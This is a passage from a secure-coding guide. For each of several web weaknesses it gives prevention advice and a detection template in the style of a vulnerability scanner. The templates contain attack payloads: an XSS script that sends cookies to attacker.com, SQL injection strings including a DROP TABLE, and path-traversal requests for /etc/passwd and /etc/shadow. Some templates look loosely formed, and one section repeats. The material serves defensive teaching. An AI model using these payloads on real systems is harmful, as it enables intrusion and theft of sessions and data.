vulnerabilities.\n\n1. Security testing: Perform regular security testing, including vulnerability scanning and penetration testing, to identify and address any potential CSRF vulnerabilities in your web application.\n\nBy implementing these preventive measures and maintaining a strong security posture, you can significantly reduce the risk of Cross-Site Request Forgery attacks and protect the integrity of your web application and user data.\n\n\n\n\n```\nid: csrf\ninfo:\n  name: Cross-Site Request Forgery (CSRF)\n  author: Your Name\n  severity: high\n  description: Detects potential Cross-Site Request Forgery vulnerabilities in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - csrf\nrequests:\n  - name: CSRF Token Check\n    path:\n      - /\n      - /profile\n      - /admin\n    matchers:\n      - type: word\n        words:\n          - csrf_token\n          - authenticity_token\n    attacks:\n      - type: word\n        words:\n          - <form action=\"http://malicious-site.com/attack\" method=\"POST\">\n      - type: regex\n        part: body\n        words:\n          - '<input type=\"hidden\" name=\"_token\" value=\"[^\"]+\">'\n          - '<input type=\"hidden\" name=\"csrf_token\" value=\"[^\"]+\">'\n```\n\n\n\n\n### Use of Hard-coded Password\n\nThe use of hard-coded passwords refers to the practice of embedding passwords directly into source code or configuration files, making them easily discoverable by anyone with access to the code or files. This is considered a poor security practice as it can lead to unauthorized access and compromise of sensitive information.\n\nTo prevent the use of hard-coded passwords, you can follow these preventive measures:\n\n1. Use secure credential storage: Instead of hard-coding passwords, utilize secure credential storage mechanisms provided by your development platform or framework. These mechanisms allow you to securely store and retrieve passwords, such as using secure key stores, environment variables, or configuration files with restricted access.\n\n1. Implement authentication mechanisms: Implement proper authentication mechanisms instead of relying solely on hard-coded passwords. Use strong password hashing algorithms, salted hashes, or better yet, consider using more secure authentication methods like token-based authentication or OAuth.\n\n1. Separate configuration from code: Keep sensitive information, including passwords, separate from your codebase. Store them in secure configuration files or use environment variables to store sensitive configuration details. Ensure that these files or variables are not accessible by unauthorized individuals.\n\n1. Apply access controls: Limit access to configuration files or secure credential storage to only authorized individuals or systems. Follow the principle of least privilege, granting access only to those who need it for operational purposes.\n\n1. Utilize secrets management tools: Leverage secrets management tools or platforms that provide secure storage, rotation, and access control for sensitive information such as passwords, API keys, and cryptographic keys. These tools often offer encryption, access logging, and additional security features to protect your secrets.\n\n1. Secure deployment process: Implement secure deployment practices to ensure that passwords are not exposed during deployment or in version control systems. Avoid including sensitive information in code repositories or build artifacts.\n\n1. Regularly rotate passwords: Enforce a password rotation policy to regularly update passwords. This reduces the impact of compromised credentials and limits the window of opportunity for attackers.\n\n1. Secure code review: Conduct regular code reviews to identify and remove any instances of hard-coded passwords. Train developers to be aware of the risks associated with hard-coding passwords and provide them with secure alternatives and best practices.\n\n1. Automated security tools: Use automated security scanning tools or static code analysis tools to identify instances of hard-coded passwords and other security vulnerabilities in your codebase.\n\nBy implementing these preventive measures, you can minimize the risk of hard-coded passwords and enhance the security of your application and sensitive data. It is crucial to follow secure coding practices, regularly review and update security controls, and stay informed about emerging best practices and vulnerabilities to maintain a strong security posture.\n\n\n```\nid: hard-coded-password\ninfo:\n  name: Use of Hard-coded Password\n  author: Your Name\n  severity: high\n  description: Detects the use of hard-coded passwords in source code or configuration files.\n  references:\n    - https://example.com\ntags:\n  - credentials\nrequests:\n  - name: Hard-coded Password Check\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: word\n        words:\n          - password\n          - secret\n          - api_key\n    attacks:\n      - type: regex\n        part: body\n        words:\n          - 'password = \".*\"'\n          - 'password: \".*\"'\n          - 'password: .*'\n      - type: regex\n        part: body\n        words:\n          - 'secret = \".*\"'\n          - 'secret: \".*\"'\n          - 'secret: .*'\n      - type: regex\n        part: body\n        words:\n          - 'api_key = \".*\"'\n          - 'api_key: \".*\"'\n          - 'api_key: .*'\n```\n\n\n\n### Broken or Risky Crypto Algorithm\n\nA broken or risky cryptographic algorithm refers to the use of encryption or hashing algorithms that have known vulnerabilities or weaknesses. These vulnerabilities could be due to outdated or deprecated algorithms, insecure key sizes, poor implementation, or inadequate cryptographic practices. Such weaknesses can be exploited by attackers, potentially compromising the confidentiality, integrity, or authenticity of sensitive data.\n\nTo prevent the use of broken or risky crypto algorithms, you can follow these preventive measures:\n\n1. Stay updated with cryptographic standards: Keep abreast of the latest cryptographic standards and recommendations from reputable sources, such as NIST (National Institute of Standards and Technology) or IETF (Internet Engineering Task Force). Stay informed about any vulnerabilities or weaknesses discovered in existing algorithms and make necessary updates to your cryptographic implementations.\n\n1. Use strong and approved algorithms: Select cryptographic algorithms that are widely recognized, thoroughly tested, and recommended by cryptographic experts. Examples of secure algorithms include AES (Advanced Encryption Standard) for symmetric encryption, RSA or ECDSA for asymmetric encryption, and SHA-256 or SHA-3 for hashing.\n\n1. Avoid deprecated or weakened algorithms: Stay away from deprecated or weakened cryptographic algorithms, such as DES (Data Encryption Standard) or MD5 (Message Digest Algorithm 5). These algorithms have known vulnerabilities and are no longer considered secure for most applications.\n\n1. Use appropriate key sizes: Ensure that the key sizes used in your cryptographic algorithms are appropriate for the level of security required. Use key sizes recommended by cryptographic standards, taking into account the strength of the algorithm and the anticipated lifespan of the data being protected.\n\n1. Secure key management: Implement robust key management practices, including the secure generation, storage, and distribution of cryptographic keys. Protect keys from unauthorized access, and regularly rotate or update keys as per best practices.\n\n1. Use secure random number generation: Cryptographic operations often rely on random numbers for key generation, initialization vectors, and nonces. Use a cryptographically secure random number generator (CSPRNG) to ensure the randomness and unpredictability of these values.\n\n1. Third-party library evaluation: When using cryptographic libraries or frameworks, evaluate their reputation, security track record, and community support. Choose well-established libraries that have undergone security audits and are actively maintained to minimize the risk of using broken or insecure crypto algorithms.\n\n1. Independent security reviews: Conduct independent security reviews or audits of your cryptographic implementations to identify any weaknesses, vulnerabilities, or misconfigurations. Engage security professionals or external auditors with expertise in cryptography to assess your cryptographic practices.\n\n1. Ongoing monitoring and updates: Stay vigilant about emerging cryptographic vulnerabilities or attacks. Monitor security advisories and updates from cryptographic standards organizations, vendors, and the broader security community. Apply patches, updates, or configuration changes as necessary to address any identified vulnerabilities.\n\nBy following these preventive measures and adopting strong cryptographic practices, you can significantly reduce the risk of using broken or risky crypto algorithms and enhance the security of your application's sensitive data. It is essential to maintain an active stance in staying informed about cryptographic best practices and evolving security threats to ensure the continued security of your cryptographic implementations.\n\n\n\n```\nid: broken-crypto-algorithm\ninfo:\n  name: Broken or Risky Crypto Algorithm\n  author: Your Name\n  severity: medium\n  description: Detects the use of broken or risky cryptographic algorithms in TLS configurations or code.\n  references:\n    - https://example.com\ntags:\n  - cryptography\nrequests:\n  - name: Weak Crypto Algorithm Check\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: word\n        words:\n          - ssl_version\n          - cipher_suite\n          - crypto_algorithm\n    attacks:\n      - type: regex\n        part: body\n        words:\n          - 'ssl_version = \".*\"'\n          - 'cipher_suite = \".*\"'\n          - 'crypto_algorithm = \".*\"'\n      - type: regex\n        part: body\n        words:\n          - 'ssl_version: \".*\"'\n          - 'cipher_suite: \".*\"'\n          - 'crypto_algorithm: \".*\"'\n      - type: regex\n        part: body\n        words:\n          - 'algorithm = \".*\"'\n          - 'algorithm: \".*\"'\n```\n\n\n### Risky Crypto Algorithm\n\n\nA broken or risky cryptographic algorithm refers to the use of encryption or hashing algorithms that have known vulnerabilities or weaknesses. These vulnerabilities could be due to outdated or deprecated algorithms, insecure key sizes, poor implementation, or inadequate cryptographic practices. Such weaknesses can be exploited by attackers, potentially compromising the confidentiality, integrity, or authenticity of sensitive data.\n\nTo prevent the use of broken or risky crypto algorithms, you can follow these preventive measures:\n\n1. Stay updated with cryptographic standards: Keep abreast of the latest cryptographic standards and recommendations from reputable sources, such as NIST (National Institute of Standards and Technology) or IETF (Internet Engineering Task Force). Stay informed about any vulnerabilities or weaknesses discovered in existing algorithms and make necessary updates to your cryptographic implementations.\n\n1. Use strong and approved algorithms: Select cryptographic algorithms that are widely recognized, thoroughly tested, and recommended by cryptographic experts. Examples of secure algorithms include AES (Advanced Encryption Standard) for symmetric encryption, RSA or ECDSA for asymmetric encryption, and SHA-256 or SHA-3 for hashing.\n\n1. Avoid deprecated or weakened algorithms: Stay away from deprecated or weakened cryptographic algorithms, such as DES (Data Encryption Standard) or MD5 (Message Digest Algorithm 5). These algorithms have known vulnerabilities and are no longer considered secure for most applications.\n\n1. Use appropriate key sizes: Ensure that the key sizes used in your cryptographic algorithms are appropriate for the level of security required. Use key sizes recommended by cryptographic standards, taking into account the strength of the algorithm and the anticipated lifespan of the data being protected.\n\n1. Secure key management: Implement robust key management practices, including the secure generation, storage, and distribution of cryptographic keys. Protect keys from unauthorized access, and regularly rotate or update keys as per best practices.\n\n1. Use secure random number generation: Cryptographic operations often rely on random numbers for key generation, initialization vectors, and nonces. Use a cryptographically secure random number generator (CSPRNG) to ensure the randomness and unpredictability of these values.\n\n1. Third-party library evaluation: When using cryptographic libraries or frameworks, evaluate their reputation, security track record, and community support. Choose well-established libraries that have undergone security audits and are actively maintained to minimize the risk of using broken or insecure crypto algorithms.\n\nIndependent security reviews: Conduct independent security reviews or audits of your cryptographic implementations to identify any weaknesses, vulnerabilities, or misconfigurations. Engage security professionals or external auditors with expertise in cryptography to assess your cryptographic practices.\n\n1. Ongoing monitoring and updates: Stay vigilant about emerging cryptographic vulnerabilities or attacks. Monitor security advisories and updates from cryptographic standards organizations, vendors, and the broader security community. Apply patches, updates, or configuration changes as necessary to address any identified vulnerabilities.\n\nBy following these preventive measures and adopting strong cryptographic practices, you can significantly reduce the risk of using broken or risky crypto algorithms and enhance the security of your application's sensitive data. It is essential to maintain an active stance in staying informed about cryptographic best practices and evolving security threats to ensure the continued security of your cryptographic implementations.\n\n\n```\nid: risky-crypto-algorithm\ninfo:\n  name: Risky Crypto Algorithm\n  author: Your Name\n  severity: medium\n  description: Detects the use of risky cryptographic algorithms in TLS configurations or code.\n  references:\n    - https://example.com\ntags:\n  - cryptography\nrequests:\n  - name: Risky Crypto Algorithm Check\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: word\n        words:\n          - ssl_version\n          - cipher_suite\n          - crypto_algorithm\n    attacks:\n      - type: regex\n        part: body\n        words:\n          - 'ssl_version = \".*\"'\n          - 'cipher_suite = \".*\"'\n          - 'crypto_algorithm = \"MD5|SHA1|RC4|DES\"'\n      - type: regex\n        part: body\n        words:\n          - 'ssl_version: \".*\"'\n          - 'cipher_suite: \".*\"'\n          - 'crypto_algorithm: \"MD5|SHA1|RC4|DES\"'\n      - type: regex\n        part: body\n        words:\n          - 'algorithm = \"MD5|SHA1|RC4|DES\"'\n          - 'algorithm: \"MD5|SHA1|RC4|DES\"'\n```\n\n\n### Insufficient Entropy\n\n\nInsufficient entropy refers to a lack of randomness or unpredictability in the generation of cryptographic keys, random numbers, or other security-critical values. Insufficient entropy can weaken cryptographic algorithms and make them more susceptible to brute-force attacks or other cryptographic attacks.\n\nTo prevent insufficient entropy, you can follow these preventive measures:\n\n1. Use a cryptographically secure random number generator (CSPRNG): Use a CSPRNG instead of relying on pseudo-random number generators (PRNGs) or non-secure random sources. A CSPRNG ensures that the generated random numbers are sufficiently unpredictable and suitable for cryptographic purposes.\n\n1. Collect entropy from diverse sources: Gather entropy from a variety of sources, such as hardware events (e.g., mouse movements, keyboard presses, disk activity), system-level events, environmental factors, or dedicated hardware random number generators. Combine these entropy sources to increase the randomness and unpredictability of the generated values.\n\n1. Periodically reseed the random number generator: Regularly reseed the random number generator with fresh entropy to maintain a high level of randomness. This helps prevent the depletion of entropy over time.\n\n1. Use hardware-based random number generation: If available, consider utilizing dedicated hardware random number generators (RNGs) that provide a high degree of randomness. These RNGs use physical processes, such as electronic noise or radioactive decay, to generate random values.\n\n1. Test and monitor entropy levels: Implement mechanisms to test and monitor the entropy levels in your system. You can use tools or libraries to assess the quality of randomness and ensure that it meets the required entropy threshold. Monitor entropy pools to identify any potential depletion or insufficient entropy conditions.\n\n1. Avoid deterministic algorithms for key generation: Use algorithms that incorporate randomness and avoid deterministic algorithms for key generation. Deterministic algorithms generate the same output for the same input, making them predictable and susceptible to attacks.\n\n1. Periodically rotate cryptographic keys: Regularly rotate cryptographic keys, especially for long-lived cryptographic operations. This minimizes the impact of compromised keys and provides an opportunity to introduce fresh entropy during the key generation process.\n\n1. Perform security testing and code review: Conduct security testing, including vulnerability scanning and code review, to identify any weaknesses or vulnerabilities related to entropy generation. Review the implementation of random number generation functions and ensure they meet cryptographic best practices.\n\n1. Follow cryptographic standards and best practices: Adhere to established cryptographic standards, guidelines, and best practices. Standards organizations like NIST and IETF provide recommendations and guidelines for generating and managing cryptographic keys, random numbers, and entropy.\n\nBy implementing these preventive measures, you can enhance the entropy generation process and ensure the strength and unpredictability of cryptographic operations. It is crucial to regularly assess and update your entropy generation mechanisms to adapt to evolving security requirements and best practices.\n\n\n```\nid: insufficient-entropy\ninfo:\n  name: Insufficient Entropy\n  author: Your Name\n  severity: medium\n  description: Detects the usage of weak or insufficient entropy sources in cryptographic operations.\n  references:\n    - https://example.com\ntags:\n  - cryptography\nrequests:\n  - name: Insufficient Entropy Check\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: word\n        words:\n          - entropy\n    attacks:\n      - type: regex\n        part: body\n        words:\n          - 'entropy = [0-7]\\.\\d{1,}'\n          - 'entropy: [0-7]\\.\\d{1,}'\n      - type: regex\n        part: body\n        words:\n          - 'weak_entropy = true'\n          - 'weak_entropy: true'\n      - type: regex\n        part: body\n        words:\n          - 'insufficient_entropy = true'\n          - 'insufficient_entropy: true'\n```\n\n\n\n### XSS\n\n\nXSS (Cross-Site Scripting) is a type of web vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. It occurs when user-supplied data is improperly validated or escaped and is directly included in a web page without proper sanitization.\n\nTo prevent XSS attacks, you can follow these preventive measures:\n\n1. Input validation and filtering: Validate and sanitize all user-generated input, including form fields, URL parameters, and HTTP headers. Apply input validation to ensure that only expected data types and formats are accepted. Filter out or escape characters that can be used for malicious purposes, such as HTML tags, JavaScript code, or SQL commands.\n\n1. Use secure coding practices: Implement secure coding practices that promote the separation of code and data. Use appropriate context-aware output encoding or escaping techniques when displaying user-supplied data in HTML, JavaScript, CSS, or other contexts.\n\n1. Use a secure templating system: If using a templating system, make sure it automatically escapes or sanitizes user input by default. Avoid using string concatenation or manual HTML construction for displaying user-supplied data.\n\n1. Content Security Policy (CSP): Implement and enforce a Content Security Policy that restricts the types of content that can be loaded or executed on a web page. CSP helps mitigate XSS attacks by defining the sources from which various content, such as scripts or stylesheets, can be loaded.\n\n1. HTTP-only cookies: Use the HttpOnly flag when setting cookies to prevent client-side scripts from accessing sensitive cookies. This helps protect against session hijacking attacks.\n\n1. Escape output appropriately: When dynamically generating HTML, JavaScript, or other content, ensure that user-supplied data is properly escaped to prevent it from being interpreted as code. Use context-aware escaping functions provided by your programming framework or language.\n\n1. Secure development frameworks and libraries: Utilize secure development frameworks and libraries that have built-in protections against XSS attacks. These frameworks often provide mechanisms to automatically escape or sanitize user input when rendering templates or generating HTML.\n\n1. Regularly update and patch: Keep all web application components, including frameworks, libraries, and plugins, up to date with the latest security patches. XSS vulnerabilities may be discovered in these components, and updates often address these vulnerabilities.\n\n1. Educate and train developers: Provide security training and awareness programs to developers to educate them about the risks of XSS attacks and secure coding practices. Teach them how to properly validate, sanitize, and escape user input to prevent XSS vulnerabilities.\n\n1. Penetration testing and security scanning: Regularly conduct penetration testing and security scanning to identify any XSS vulnerabilities in your web application. Utilize automated vulnerability scanners or engage security professionals to perform manual security assessments.\n\nBy following these preventive measures, you can significantly reduce the risk of XSS attacks and protect your web application and users from potential malicious activities. It is essential to implement a layered approach to security, combining secure coding practices, input validation, output encoding, and regular security testing to maintain a strong defense against XSS vulnerabilities.\n\n\n```\nid: xss\ninfo:\n  name: Cross-Site Scripting (XSS)\n  author: Your Name\n  severity: high\n  description: Detects potential Cross-Site Scripting vulnerabilities in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - xss\nrequests:\n  - name: XSS Payload Test\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: fuzz\n        payloads:\n          - '<script>alert(\"XSS\");</script>'\n          - '<img src=x onerror=alert(\"XSS\")>'\n          - '<svg/onload=alert(\"XSS\")>'\n          - '<script>location.href=\"https://attacker.com/cookie.php?cookie=\"+document.cookie;</script>'\n      - type: regex\n        part: body\n        words:\n          - 'document\\.cookie'\n          - 'eval\\('\n          - 'on\\w+=.*[\\'\"]'\n```\n\n\n\n\n### SQL Injection\n\n\nSQL Injection is a web application vulnerability that occurs when an attacker is able to manipulate an SQL query by inserting malicious SQL code. It happens when user-supplied input is not properly validated or sanitized and is directly concatenated into an SQL statement, allowing the attacker to execute unauthorized database operations, view sensitive data, or modify the database.\n\nTo prevent SQL Injection attacks, you can follow these preventive measures:\n\n1. Use parameterized queries or prepared statements: Instead of dynamically building SQL queries by concatenating user input, use parameterized queries or prepared statements. These mechanisms allow you to separate the SQL code from the user-supplied input, preventing the injection of malicious SQL code.\n\n1. Input validation and sanitization: Validate and sanitize all user-generated input before using it in SQL queries. Validate input to ensure it matches the expected data type, length, and format. Sanitize input by removing or escaping special characters that can be used for SQL injection, such as single quotes or semicolons.\n\n1. Avoid dynamic SQL queries: Whenever possible, avoid dynamically building SQL queries using string concatenation. Instead, use ORM (Object-Relational Mapping) frameworks or query builders that provide built-in protection against SQL injection. These frameworks automatically handle the proper escaping and parameter binding.\n\n1. Least privilege principle: Ensure that the database user account used by the web application has the least privilege necessary to perform its required operations. Restrict the permissions to only those specific tables and operations required by the application, reducing the potential impact of a successful SQL injection attack.\n\n1. Securely manage database credentials: Store and manage database credentials securely. Avoid hard-coding credentials in the source code or configuration files. Instead, use secure credential storage mechanisms such as environment variables or secure key stores.\n\n1. Implement input validation on the server-side: While client-side input validation provides a better user experience, it should not be solely relied upon for security. Always perform input validation and sanitization on the server-side as well, as client-side validation can be bypassed or manipulated.\n\n1. Regularly update and patch: Keep your database management system (DBMS) up to date with the latest security patches. DBMS vendors often release updates to address security vulnerabilities, including those related to SQL injection.\n\n1. Implement strong access controls: Implement strong access controls at the application level to restrict user access and actions. Use role-based access control (RBAC) and properly authenticate and authorize users to ensure they only have access to the appropriate resources and actions.\n\n1. Security testing and code review: Conduct regular security testing, including penetration testing and code review, to identify any SQL injection vulnerabilities in your web application. Utilize automated vulnerability scanners and engage security professionals to perform manual security assessments.\n\n1. Secure development practices: Promote secure coding practices within your development team. Educate developers about the risks of SQL injection and provide training on secure coding techniques and best practices. Encourage the use of secure coding frameworks and libraries that offer protection against SQL injection.\n\nBy implementing these preventive measures, you can significantly reduce the risk of SQL Injection attacks and protect your web application from unauthorized database access or manipulation. It is important to adopt a proactive approach to security, combining secure coding practices, input validation, parameterized queries, and regular security testing to maintain the integrity and security of your application's database interactions.\n\n\n```\nid: sql-injection\ninfo:\n  name: SQL Injection\n  author: Your Name\n  severity: high\n  description: Detects potential SQL Injection vulnerabilities in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - sql-injection\nrequests:\n  - name: SQL Injection Test\n    path:\n      - /\n      - /login\n      - /admin\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: fuzz\n        payloads:\n          - \"' OR 1=1 --\"\n          - \"'; DROP TABLE users; --\"\n          - \"'; SELECT * FROM users; --\"\n      - type: regex\n        part: body\n        words:\n          - 'error in your SQL syntax'\n          - 'mysql_fetch_array()'\n          - 'sqlite_fetch_array()'\n```\n\n\n### External Control of File Name or Path\n\nExternal Control of File Name or Path is a vulnerability that occurs when an attacker can manipulate the file name or path used in file operations, leading to unintended or unauthorized access to files on the system. This vulnerability can be exploited to read, overwrite, or execute arbitrary files, potentially compromising the security and integrity of the application and the underlying system.\n\nTo prevent External Control of File Name or Path vulnerabilities, you can follow these preventive measures:\n\n1. Validate and sanitize file inputs: Validate and sanitize any file-related inputs received from users or external sources. Verify that the file names or paths conform to the expected format and do not contain any unexpected or malicious characters. Sanitize the input by removing or escaping any characters that can be used for path traversal or command injection.\n\n1. Use whitelisting: Implement a whitelist approach for allowed file names or paths. Define a list of permitted characters, file extensions, or directory paths that are considered safe and reject any inputs that do not match the whitelist. This helps prevent unauthorized access to sensitive files or system directories.\n\n1. Avoid user-controlled file names or paths: Whenever possible, avoid using user-supplied input directly as file names or paths. Generate file names or paths programmatically using trusted and validated data sources, such as a database or internal configuration. If user input is necessary, consider using a secure file upload mechanism that stores uploaded files in a designated, non-executable directory.\n\n1. Restrict file system access permissions: Set appropriate access permissions on files and directories to limit the privileges of the application or process accessing them. Ensure that the application runs with the least privilege necessary to perform its operations and restrict access to sensitive files or system directories.\n\n1. Use platform-specific secure file APIs: Utilize secure file access APIs provided by the programming language or framework you're using. These APIs often include built-in protections against path traversal attacks or command injection. Avoid using low-level file system access methods that may be more susceptible to vulnerabilities.\n\n1. Implement file access controls: Implement proper file access controls within your application. Authenticate and authorize users to ensure they have the necessary permissions to access specific files or directories. Enforce file-level access controls based on user roles or privileges.\n\n1. Secure file upload and download: Implement secure file upload and download mechanisms that validate file types, check file sizes, and perform virus/malware scanning. Restrict the allowed file extensions, set size limits, and ensure the uploaded files are stored in a secure location.\n\n1. Regularly update and patch: Keep the underlying operating system, libraries, and dependencies up to date with the latest security patches. Patches often address vulnerabilities related to file system operations and can help mitigate the risk of external control of file name or path attacks.\n\n1. Security testing and code review: Conduct regular security testing, including penetration testing and code review, to identify any vulnerabilities related to file operations. Utilize automated vulnerability scanners or engage security professionals to perform manual security assessments.\n\n1. Educate developers: Provide training and education to developers about secure file handling practices and the risks associated with external control of file name or path vulnerabilities. Promote secure coding techniques and best practices within your development team.\n\nBy implementing these preventive measures, you can significantly reduce the risk of external control of file name or path vulnerabilities and protect your application from unauthorized file access or manipulation. It is crucial to follow secure coding practices, validate and sanitize file inputs, and regularly update your systems to address any emerging security issues.\n\n\n```\nid: file-path-injection\ninfo:\n  name: External Control of File Name or Path\n  author: Your Name\n  severity: medium\n  description: Detects potential file path injection vulnerabilities in web applications.\n  references:\n    - https://example.com\ntags:\n  - web\n  - file-path-injection\nrequests:\n  - name: File Path Injection Test\n    path:\n      - /\n      - /download\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: GET\n            path: \"/download?file={{.Fuzz}}\"\n            headers:\n              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\n            fuzz:\n              - \"../../../../etc/passwd\"\n              - \"../../../../etc/shadow\"\n              - \"../../../../etc/hosts\"\n```\n\n\n\n### Generation of Error Message Containing Sensitive Information\n\nThe Generation of Error Message Containing Sensitive Information is a vulnerability that occurs when error messages generated by an application reveal sensitive or confidential information. This can include details such as database connection strings, stack traces, user credentials, or other sensitive data. Attackers can exploit this information to gain insights into the system's architecture, identify potential weaknesses, or launch further attacks.\n\nTo prevent the generation of error messages containing sensitive information, you can follow these preventive measures:\n\n1. Disable detailed error messages in production: Ensure that your application's production environment is configured to display generic error messages instead of detailed technical information. This helps to prevent the inadvertent exposure of sensitive data in error messages.\n\n1. Implement custom error handling: Create custom error handling mechanisms that capture and handle application errors without disclosing sensitive information. Customize error messages to provide generic and user-friendly feedback to users, without revealing specific technical details.\n\n1. Log errors securely: If your application logs errors, ensure that sensitive information is not included in the log entries. Review your logging configuration to ensure that only necessary information is logged, and sanitize any logged data to remove sensitive details.\n\n1. Avoid displaying sensitive information: Avoid displaying sensitive information in error messages altogether. Refrain from including sensitive data such as user credentials, database connection strings, or internal system paths in error messages. Instead, focus on providing useful and actionable information to users without revealing sensitive details.\n\n1. Use exception handling best practices: Employ proper exception handling techniques in your code. Catch and handle exceptions gracefully, avoiding the propagation of sensitive information in error messages. Implement structured exception handling mechanisms to capture and handle errors effectively.\n\n1. Regularly test error handling: Perform thorough testing of your application's error handling mechanisms. Include scenarios where exceptions are intentionally triggered to ensure that sensitive information is not disclosed in error messages. Use automated vulnerability scanning tools or engage security professionals to identify potential information leakage.\n\n1. Implement input validation and sanitization: Validate and sanitize user input to prevent malicious input from triggering errors that reveal sensitive information. Proper input validation helps to prevent common attack vectors, such as injection attacks, that can lead to the generation of error messages containing sensitive data.\n\n1. Follow secure coding practices: Adhere to secure coding practices and guidelines. Keep sensitive information separate from error messages and ensure that error handling code is robust and secure. Apply secure coding principles throughout the development lifecycle to minimize the likelihood of vulnerabilities.\n\n1. Regularly update and patch: Keep your application and its dependencies up to date with the latest security patches. Software updates often address security vulnerabilities, including those related to error handling and the potential exposure of sensitive information.\n\n1. Educate developers: Provide training and awareness programs to educate developers about the risks associated with error messages containing sensitive information. Promote secure coding practices and emphasize the importance of properly handling and securing error messages.\n\nBy implementing these preventive measures, you can minimize the risk of exposing sensitive information in error messages and enhance the security of your application. It is crucial to prioritize the protection of sensitive data and regularly review and update your error handling mechanisms to ensure they align with best practices and evolving security standards.\n\n\n```\nid: error-message-leak\ninfo:\n  name: Generation of Error Message Containing Sensitive Information\n  author: Your Name\n  severity: high\n  description: Detects potential leakage of sensitive information in error messages.\n  references:\n    - https://example.com\ntags:\n  - web\n  - error-message-leak\nrequests:\n  - name: Error Message Leakage Test\n    path:\n      - /\n      - /login\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: POST\n            path: \"/login\"\n            headers:\n              Content-Type: application/x-www-form-urlencoded\n            body:\n              username: \"{{.Fuzz}}\"\n              password: \"password\"\n            fuzz:\n              - \"' OR '1'='1\"\n              - \"' OR 'a'='a\"\n              - \"' OR '1'='1' --\"\n```\n\n\n\n### Unprotected storage of credentials\n\nUnprotected storage of credentials refers to the practice of storing sensitive credentials, such as usernames, passwords, API keys, or access tokens, in an insecure manner. This can include storing credentials in plain text, using weak encryption, or storing them in easily accessible locations, making them vulnerable to unauthorized access and potential misuse by attackers.\n\nTo prevent unprotected storage of credentials, you should follow these preventive measures:\n\n1. Use secure credential storage mechanisms: Utilize secure methods for storing credentials, such as secure databases, encrypted files, or dedicated credential management systems. These mechanisms should provide strong encryption and access controls to protect the confidentiality and integrity of the stored credentials.\n\n1. Avoid storing plain text passwords: Never store passwords or sensitive credentials in plain text. Instead, use strong cryptographic techniques, such as one-way hashing with salt or key derivation functions, to securely store and verify passwords.\n\n1. Implement strong encryption: If you need to store credentials in a file or database, ensure that the data is encrypted using robust encryption algorithms and keys. Utilize industry-standard encryption libraries and algorithms to protect the credentials from unauthorized access.\n\n1. Separate credentials from source code: Avoid storing credentials directly in source code or configuration files that are part of version control systems. Separate the credentials from the codebase and use environment-specific configuration files or secure secrets management tools to provide the necessary credentials during runtime.\n\n1. Securely manage API keys and access tokens: When working with API keys or access tokens, follow best practices provided by the respective service or framework. Avoid hardcoding these credentials and instead use secure environment variables or dedicated configuration files to store and retrieve them.\n\n1. Implement access controls: Enforce proper access controls to limit access to sensitive credentials. Grant access only to authorized individuals who require it for their specific roles or tasks. Regularly review and update access permissions to ensure that only trusted individuals have access to the credentials.\n\n1. Regularly rotate credentials: Implement a credential rotation policy that mandates periodic password changes, key rotation, or the issuance of new access tokens. Regularly rotating credentials reduces the risk of long-term exposure and unauthorized access to sensitive systems.\n\n1. Monitor and log credential access: Implement logging and monitoring mechanisms to track access to sensitive credentials. Regularly review logs for any suspicious or unauthorized access attempts. Monitoring helps detect any potential breaches or unauthorized usage of credentials.\n\n1. Educate users about secure credential management: Provide training and awareness programs to educate users and developers about the importance of secure credential management practices. Emphasize the risks associated with unprotected storage of credentials and promote secure coding and handling techniques.\n\n1. Regularly assess and audit: Conduct regular security assessments and audits to identify any potential vulnerabilities or weaknesses in the storage and management of credentials. Utilize automated scanning tools or engage security professionals to perform thorough assessments.\n\nBy implementing these preventive measures, you can significantly reduce the risk of unprotected storage of credentials and enhance the security of your application and systems. Safeguarding sensitive credentials is crucial for protecting user data, preventing unauthorized access, and maintaining the trust of your users.\n\n\n```\nid: unprotected-credentials\ninfo:\n  name: Unprotected Storage of Credentials\n  author: Your Name\n  severity: high\n  description: Detects unprotected storage of sensitive credentials.\n  references:\n    - https://example.com\ntags:\n  - web\n  - unprotected-credentials\nrequests:\n  - name: Unprotected Credential Storage Test\n    path:\n      - /\n      - /admin\n      - /login\n    matchers:\n      - type: status\n        status:\n          - 200\n    attacks:\n      - type: dynamic-attack\n        requests:\n          - method: GET\n            path: \"/config\"\n          - method: GET\n            path: \"/credentials\"\n```\n\n\n### Trust Boundary Violation\n\nTrust Boundary Violation refers to a security vulnerability that occurs when data or control crosses a trust boundary without proper validation or authorization. It happens when data from an untrusted source is treated as trusted or when there is a failure to enforce proper access controls at the boundary between trusted and untrusted components or systems. This violation can lead to unauthorized access, data breaches, privilege escalation, or the execution of malicious code.\n\nTo prevent Trust Boundary Violation, you should follow these preventive measures:\n\n1. Validate and sanitize inputs: Validate and sanitize all inputs received from untrusted sources, such as user input, API calls, or data from external systems. Implement strict input validation and filtering techniques to ensure that only safe and expected data is passed across trust boundaries.\n\n1. Implement strong authentication and authorization: Enforce robust authentication and authorization mechanisms to ensure that only authorized entities can access sensitive resources or perform critical operations. Implement access controls at trust boundaries to prevent unauthorized access.\n\n1. Apply the principle of least privilege: Grant users, components, or systems only the minimum privileges necessary to perform their tasks. Avoid giving unnecessary permissions or elevated privileges that can potentially lead to trust boundary violations.\n\n1. Use secure communication protocols: When data crosses trust boundaries, ensure that secure communication protocols, such as SSL/TLS, are used to protect the confidentiality and integrity of the data in transit. Encrypt sensitive data to prevent interception or tampering.\n\n1. Implement secure session management: If sessions are used to maintain user state or context, ensure that proper session management practices are followed. Use secure session tokens, enforce session timeouts, and protect against session fixation or session hijacking attacks.\n\n1. Segregate and isolate components: Clearly define and enforce trust boundaries between different components or systems. Isolate untrusted components or systems 